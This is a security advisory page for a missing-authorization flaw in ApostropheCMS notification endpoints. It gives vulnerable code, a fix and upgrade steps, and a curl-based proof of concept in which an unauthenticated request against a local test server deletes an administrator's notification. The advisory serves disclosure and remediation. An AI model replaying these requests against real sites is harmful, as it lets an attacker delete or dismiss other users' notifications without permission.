CVE-2026-113665: ApostropheCMS Missing Authorization On Notification PATCH/DELETE Vulnerability

LOW
Advisory Identifier: GHSA-vwwx-px9w-crrc
CVSS 3.7
CWE-639 CWE-862
Published
Advisory Summary

CVE-2026-113665 is a LOW (CVSS 3.7) missing authorization on notification patch/delete vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting ApostropheCMS libraries in the npm ecosystem. The issue involves missing authorization on notification patch/delete endpoints. Remediation is available by upgrading affected packages to version 4.33.0.

CVE-2026-113665 at a Glance

CVE Identifier CVE-2026-113665
GHSA Identifier GHSA-vwwx-px9w-crrc
Severity LOW
CVSS v3.1 Base Score 3.7
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product ApostropheCMS
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 3.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-113665

To remediate this vulnerability, upgrade all affected ApostropheCMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

apostrophe fixed: 4.33.0
npm install apostrophe@4.33.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls apostrophe

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-113665, inspect your project dependencies using npm:

npm ls apostrophe

Analyze the terminal output to locate any version of ApostropheCMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.33.0), your application is affected.

Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In ApostropheCMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. --- ## Affected Code **File** ```text packages/apostrophe/modules/@apostrophecms/notification/index.js ``` ```javascript // restApiRoutes async patch(req, _id) { const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); await self.db.updateOne( { _id }, { $set: { dismissed }, $currentDate: { updatedAt: true } } ); } }, async delete(req, _id) { await self.db.deleteMany({ _id }); } ``` Unlike the `GET` notification route, these handlers do **not** verify: - Authentication (`req.user`) - Ownership (`userId === req.user._id`) - Authorization or permissions Instead, the supplied `_id` is used directly against the raw MongoDB collection. --- ## Root Cause The notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization. While the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID. For comparison, the `GET` notification route correctly checks: ```javascript if (!(req.user && req.user._id)) { throw self.apos.error('invalid'); } ``` No equivalent validation exists in the `PATCH` or `DELETE` handlers. --- ## Proof of Concept ### 1. Log in as an administrator ```bash curl -sS -c admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null curl -sS \ -b admin_cookies.txt \ -c admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "username":"admin", "password":"AdminP@ssw0rd123!", "session":true }' ``` --- ### 2. Create a notification ```bash curl -sS \ -b admin_cookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/notification \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "message":"manual verify test", "type":"info" }' ``` Example response: ```json { "noteId":"p358r7phi2w8l245ww5130uf" } ``` --- ### 3. Verify the notification exists ```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ``` Response: ```json { "notifications":[ { "_id":"p358r7phi2w8l245ww5130uf", "userId":"i89h844o5n3nbreis0ugusum", "message":"manual verify test" } ], "dismissed":[] } ``` --- ### 4. Access the endpoint without authentication Create a fresh cookie jar containing only the public CSRF cookie: ```bash rm -f anon_cookies.txt curl -sS \ -c anon_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null ``` Then send the request **without any authenticated session**: ```bash curl -i \ -b anon_cookies.txt \ -X DELETE \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \ -H "X-XSRF-TOKEN: csrf" ``` Response: ```http HTTP/1.1 200 OK ``` --- ### 5. Verify the notification has been deleted ```bash curl -sS \ -b admin_cookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" ``` Response: ```json { "notifications":[], "dismissed":[] } ``` The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client. --- ## Impact An attacker who obtains a valid notification ID can: - Delete another user's notifications. - Mark another user's notifications as dismissed. - Suppress security-related or administrative notifications. The vulnerability primarily affects **integrity**. Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable. --- ## Recommended Fix Require authentication before processing any modification request. Additionally, scope all database operations to the authenticated user. Example: ```javascript // patch async patch(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { _id, dismissed }); const result = await self.db.updateOne( { _id, userId: req.user._id }, // <-- ownership check { $set: { dismissed }, $currentDate: { updatedAt: true } } ); if (!result.matchedCount) { throw self.apos.error('notfound'); } } }, // delete async delete(req, _id) { if (!req.user) { throw self.apos.error('forbidden'); } const result = await self.db.deleteMany({ _id, userId: req.user._id }); if (!result.deletedCount) { throw self.apos.error('notfound'); } } ``` Similarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records. --- ## Recommendation Every notification modification endpoint should: - Require authentication. - Verify ownership (`userId === req.user._id`). - Return `403 Forbidden` for unauthorized requests. - Avoid performing database operations solely using a user-controlled `_id`. The same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.

CVE-2026-113665 Affected ApostropheCMS Versions

1 component(s)
Fixed Versions:
4.33.0
Product / Package Ecosystem Affected Versions Fixed Version
apostrophe
npm
< 4.33.0
4.33.0

References

Frequently Asked Questions

What is CVE-2026-113665?
CVE-2026-113665 is a security vulnerability in ApostropheCMS involving Missing Authorization on Notification PATCH/DELETE Endpoints under CWE-639: Authorization Bypass Through User-Controlled Key.
Which ApostropheCMS versions are affected?
Affected versions include releases prior to 4.33.0 across affected packages: apostrophe.
What version fixes CVE-2026-113665?
Upgrading to 4.33.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is apostrophe affected?
Yes, apostrophe is affected in releases prior to 4.33.0. Upgrade your dependency to 4.33.0 or later.
What is the CVSS score of CVE-2026-113665?
CVE-2026-113665 has a CVSS v3.1 base score of 3.7 (LOW) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-113665?
CVE-2026-113665 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check npm dependencies for CVE-2026-113665?
Run the dependency tree command: 'npm ls apostrophe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vwwx-px9w-crrc",
  "modified" : "2026-10-20T18:25:38Z",
  "published" : "2026-10-20T18:25:38Z",
  "aliases" : [ "CVE-2026-113665" ],
  "summary" : "ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints",
  "details" : "## Summary\n\nThe notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.\n\n---\n\n## Affected Code\n\n**File**\n\n```text\npackages/apostrophe/modules/@apostrophecms/notification/index.js\n```\n\n```javascript\n// restApiRoutes\nasync patch(req, _id) {\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n\n  if (dismissed) {\n    await self.emit('beforeSave', req, { _id, dismissed });\n\n    await self.db.updateOne(\n      { _id },\n      {\n        $set: { dismissed },\n        $currentDate: { updatedAt: true }\n      }\n    );\n  }\n},\n\nasync delete(req, _id) {\n  await self.db.deleteMany({ _id });\n}\n```\n\nUnlike the `GET` notification route, these handlers do **not** verify:\n\n- Authentication (`req.user`)\n- Ownership (`userId === req.user._id`)\n- Authorization or permissions\n\nInstead, the supplied `_id` is used directly against the raw MongoDB collection.\n\n---\n\n## Root Cause\n\nThe notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.\n\nWhile the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.\n\nFor comparison, the `GET` notification route correctly checks:\n\n```javascript\nif (!(req.user && req.user._id)) {\n  throw self.apos.error('invalid');\n}\n```\n\nNo equivalent validation exists in the `PATCH` or `DELETE` handlers.\n\n---\n\n## Proof of Concept\n\n### 1. Log in as an administrator\n\n```bash\ncurl -sS -c admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n\ncurl -sS \\\n-b admin_cookies.txt \\\n-c admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/login/login \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n  \"username\":\"admin\",\n  \"password\":\"AdminP@ssw0rd123!\",\n  \"session\":true\n}'\n```\n\n---\n\n### 2. Create a notification\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/notification \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n  \"message\":\"manual verify test\",\n  \"type\":\"info\"\n}'\n```\n\nExample response:\n\n```json\n{\n  \"noteId\":\"p358r7phi2w8l245ww5130uf\"\n}\n```\n\n---\n\n### 3. Verify the notification exists\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[\n    {\n      \"_id\":\"p358r7phi2w8l245ww5130uf\",\n      \"userId\":\"i89h844o5n3nbreis0ugusum\",\n      \"message\":\"manual verify test\"\n    }\n  ],\n  \"dismissed\":[]\n}\n```\n\n---\n\n### 4. Access the endpoint without authentication\n\nCreate a fresh cookie jar containing only the public CSRF cookie:\n\n```bash\nrm -f anon_cookies.txt\n\ncurl -sS \\\n-c anon_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n```\n\nThen send the request **without any authenticated session**:\n\n```bash\ncurl -i \\\n-b anon_cookies.txt \\\n-X DELETE \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\" \\\n-H \"X-XSRF-TOKEN: csrf\"\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### 5. Verify the notification has been deleted\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[],\n  \"dismissed\":[]\n}\n```\n\nThe notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.\n\n---\n\n## Impact\n\nAn attacker who obtains a valid notification ID can:\n\n- Delete another user's notifications.\n- Mark another user's notifications as dismissed.\n- Suppress security-related or administrative notifications.\n\nThe vulnerability primarily affects **integrity**.\n\nAlthough notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.\n\n---\n\n## Recommended Fix\n\nRequire authentication before processing any modification request.\n\nAdditionally, scope all database operations to the authenticated user.\n\nExample:\n\n```javascript\n// patch\nasync patch(req, _id) {\n  if (!req.user) {\n    throw self.apos.error('forbidden');\n  }\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n  if (dismissed) {\n    await self.emit('beforeSave', req, { _id, dismissed });\n    const result = await self.db.updateOne(\n      { _id, userId: req.user._id },   // <-- ownership check\n      { $set: { dismissed }, $currentDate: { updatedAt: true } }\n    );\n    if (!result.matchedCount) {\n      throw self.apos.error('notfound');\n    }\n  }\n},\n// delete\nasync delete(req, _id) {\n  if (!req.user) {\n    throw self.apos.error('forbidden');\n  }\n  const result = await self.db.deleteMany({ _id, userId: req.user._id });\n  if (!result.deletedCount) {\n    throw self.apos.error('notfound');\n  }\n}\n```\n\nSimilarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.\n\n---\n\n## Recommendation\n\nEvery notification modification endpoint should:\n\n- Require authentication.\n- Verify ownership (`userId === req.user._id`).\n- Return `403 Forbidden` for unauthorized requests.\n- Avoid performing database operations solely using a user-controlled `_id`.\n\nThe same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.33.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-862" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-20T18:25:38Z",
    "nvd_published_at" : null
  }
}